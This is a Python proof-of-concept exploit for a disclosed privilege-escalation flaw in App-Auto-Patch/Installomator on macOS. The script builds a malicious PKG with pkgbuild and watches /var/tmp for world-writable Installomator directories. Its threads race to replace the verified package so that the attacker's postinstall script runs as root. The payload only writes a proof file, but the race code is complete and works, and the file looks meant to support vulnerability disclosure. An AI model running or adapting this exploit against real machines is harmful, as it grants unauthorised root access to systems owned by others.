#!/usr/bin/env python3
"""
CVE-2025-70341: Local Privilege Escalation via TOCTOU in App-Auto-Patch

App-Auto-Patch <= 3.4.2 creates Installomator's tmpDir with chmod 777,
allowing a local user to swap a verified PKG with a malicious one before
installation. The malicious PKG's postinstall script runs as root.

Prerequisites:
    - macOS with App-Auto-Patch <= 3.4.2 or Installomator using chmod 777 tmpDir
    - Unprivileged local user account
    - Xcode command line tools (for pkgbuild)

Usage:
    Terminal 1 (unprivileged): python3 poc.py
    Terminal 2 (root/MDM):     sudo ./simulate-vulnerable-env.sh

Attack:
    1. Run this script as unprivileged user
    2. Wait for admin/MDM to trigger App-Auto-Patch / Installomator
    3. Script monitors /var/tmp for chmod 777 Installomator directories
    4. Races to swap verified PKG with malicious one
    5. installer -pkg runs attacker's PKG as root

Disclaimer:
    For educational and authorized security testing only.
    Only use on systems you own or have explicit permission to test.
"""

import os
import sys
import time
import shutil
import tempfile
import subprocess
import threading
from pathlib import Path

WATCH_DIR = "/var/tmp"
PROOF_FILE = "/tmp/installomator-pwned"
MALICIOUS_PKG = "/tmp/malicious-payload.pkg"

# Shared state
racing = False
swapped = False  # Stop swapping once we've placed our file
target_pkg = None
target_dir = None
stop_flag = threading.Event()


def create_malicious_pkg():
    """Create a minimal PKG that proves code execution"""
    print("[*] Creating malicious PKG payload...")

    pkg_root = tempfile.mkdtemp(prefix="pkgbuild_")
    scripts_dir = os.path.join(pkg_root, "scripts")
    os.makedirs(scripts_dir)

    postinstall = os.path.join(scripts_dir, "postinstall")
    with open(postinstall, "w") as f:
        f.write(f"""#!/bin/bash
# CVE-2025-70341: Proof of root code execution via TOCTOU race
echo "PWNED by $(whoami) at $(date)" > {PROOF_FILE}
echo "UID: $(id -u)" >> {PROOF_FILE}
echo "CVE-2025-70341 POC successful" >> {PROOF_FILE}
exit 0
""")
    os.chmod(postinstall, 0o755)

    try:
        result = subprocess.run([
            "pkgbuild",
            "--nopayload",
            "--scripts", scripts_dir,
            "--identifier", "com.poc.cve-2025-70341",
            "--version", "1.0",
            MALICIOUS_PKG
        ], capture_output=True, text=True)

        if result.returncode != 0:
            print(f"[-] pkgbuild failed: {result.stderr}")
            return False

        print(f"[+] Created malicious PKG: {MALICIOUS_PKG}")
        return True

    except FileNotFoundError:
        print("[-] pkgbuild not found - need Xcode command line tools")
        return False
    finally:
        shutil.rmtree(pkg_root, ignore_errors=True)


def stager_thread():
    """Continuously keep a staged copy of malicious PKG ready"""
    global target_dir
    while not stop_flag.is_set():
        if target_dir and os.path.isdir(target_dir):
            staged = os.path.join(target_dir, ".m.pkg")
            try:
                if not os.path.exists(staged):
                    shutil.copy2(MALICIOUS_PKG, staged)
            except:
                pass
        time.sleep(0.001)


def swapper_thread():
    """Continuously delete and replace the target PKG"""
    global target_pkg, target_dir, swapped
    while not stop_flag.is_set():
        if swapped:
            # Already placed our file, stop swapping
            time.sleep(0.1)
            continue

        if target_pkg and target_dir:
            staged = os.path.join(target_dir, ".m.pkg")

            # Only delete if the target exists (don't delete our own file repeatedly)
            if os.path.exists(target_pkg) and os.path.exists(staged):
                try:
                    os.remove(target_pkg)
                    os.rename(staged, target_pkg)
                    swapped = True
                    print("[+] SWAPPED! Malicious PKG in place, waiting for installer...")
                except:
                    pass
        else:
            time.sleep(0.001)


def monitor():
    """Monitor for Installomator directories and PKG files"""
    global racing, target_pkg, target_dir

    print("[*] Monitoring /var/tmp for Installomator directories...")
    print("[*] Waiting for admin/MDM to run App-Auto-Patch / Installomator...")
    print()

    seen_dirs = set()

    while not stop_flag.is_set():
        # Check for success
        if os.path.exists(PROOF_FILE):
            print()
            print("=" * 60)
            print("[+] SUCCESS! Root code execution achieved!")
            print("=" * 60)
            with open(PROOF_FILE) as f:
                print(f.read())
            return True

        # Find Installomator directories
        try:
            for entry in os.scandir(WATCH_DIR):
                if entry.is_dir() and entry.name.startswith("Installomator."):
                    if entry.path not in seen_dirs:
                        print(f"[!] Found Installomator dir: {entry.path}")
                        seen_dirs.add(entry.path)

                        stat = os.stat(entry.path)
                        mode = oct(stat.st_mode)[-3:]
                        print(f"    Permissions: {mode}")
                        if mode == "777":
                            print(f"    [+] Directory is world-writable!")
                            target_dir = entry.path

                    # Look for PKG files
                    if target_dir == entry.path:
                        try:
                            for pkg in os.scandir(entry.path):
                                if pkg.is_file() and pkg.name.endswith(".pkg") and not pkg.name.startswith("."):
                                    if target_pkg != pkg.path:
                                        print(f"[!] Found PKG: {pkg.path}")
                                        print(f"[*] Racing...")
                                        target_pkg = pkg.path
                                        racing = True
                        except:
                            pass
        except:
            pass

        if not racing:
            time.sleep(0.01)


def check_prerequisites():
    """Check if we can run the POC"""
    if os.geteuid() == 0:
        print("[*] Already root - nothing to escalate")
        return False

    if not os.access(WATCH_DIR, os.R_OK):
        print(f"[-] Cannot read {WATCH_DIR}")
        return False

    print(f"[+] Running as UID {os.getuid()}")
    print(f"[+] Can monitor {WATCH_DIR}")
    return True


def main():
    print("=" * 60)
    print("CVE-2025-70341: App-Auto-Patch TOCTOU Privilege Escalation")
    print("=" * 60)
    print()

    if not check_prerequisites():
        return 1

    if not os.path.exists(MALICIOUS_PKG):
        if not create_malicious_pkg():
            print("[-] Failed to create malicious PKG")
            return 1
    else:
        print(f"[+] Using existing malicious PKG: {MALICIOUS_PKG}")

    print()

    if os.path.exists(PROOF_FILE):
        os.remove(PROOF_FILE)

    # Start worker threads
    threads = [
        threading.Thread(target=stager_thread, daemon=True),
        threading.Thread(target=swapper_thread, daemon=True),
        threading.Thread(target=swapper_thread, daemon=True),  # Multiple swappers
        threading.Thread(target=swapper_thread, daemon=True),
    ]
    for t in threads:
        t.start()

    try:
        monitor()
    except KeyboardInterrupt:
        print("\n[*] Interrupted")
        stop_flag.set()
        return 0

    stop_flag.set()
    return 0


if __name__ == "__main__":
    sys.exit(main())